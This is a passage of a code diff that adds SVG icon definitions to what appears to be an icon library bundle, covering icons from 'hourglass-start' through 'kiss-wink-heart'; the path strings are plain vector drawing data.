92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z" ], + "hourglass-start": [ 384, 512, [], "f251", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z" ], + "house-damage": [ 576, 512, [], "f6f1", "M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z" ], + "house-user": [ 576, 512, [], "e065", "M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z" ], + hryvnia: [ 384, 512, [], "f6f2", "M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z" ], + "i-cursor": [ 256, 512, [], "f246", "M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z" ], + "ice-cream": [ 448, 512, [], "f810", "M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z" ], + icicles: [ 512, 512, [], "f7ad", "M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z" ], + icons: [ 512, 512, [], "f86d", "M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z" ], + "id-badge": [ 384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" ], + "id-card": [ 576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z" ], + "id-card-alt": [ 576, 512, [], "f47f", "M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z" ], + igloo: [ 576, 512, [], "f7ae", "M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z" ], + image: [ 512, 512, [], "f03e", "M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z" ], + images: [ 576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z" ], + inbox: [ 576, 512, [], "f01c", "M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z" ], + indent: [ 448, 512, [], "f03c", "M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + industry: [ 512, 512, [], "f275", "M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z" ], + infinity: [ 640, 512, [], "f534", "M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z" ], + info: [ 192, 512, [], "f129", "M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z" ], + "info-circle": [ 512, 512, [], "f05a", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z" ], + italic: [ 320, 512, [], "f033", "M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z" ], + jedi: [ 576, 512, [], "f669", "M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z" ], + joint: [ 640, 512, [], "f595", "M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z" ], + "journal-whills": [ 448, 512, [], "f66a", "M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z" ], + kaaba: [ 576, 512, [], "f66b", "M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z" ], + key: [ 512, 512, [], "f084", "M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z" ], + keyboard: [ 576, 512, [], "f11c", "M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" ], + khanda: [ 512, 512, [], "f66d", "M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z" ], + kiss: [ 496, 512, [], "f596", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "kiss-beam": [ 496, 512, [], "f597", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z" ], + "kiss-wink-heart": [ 504, 512, [], "f598", "M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 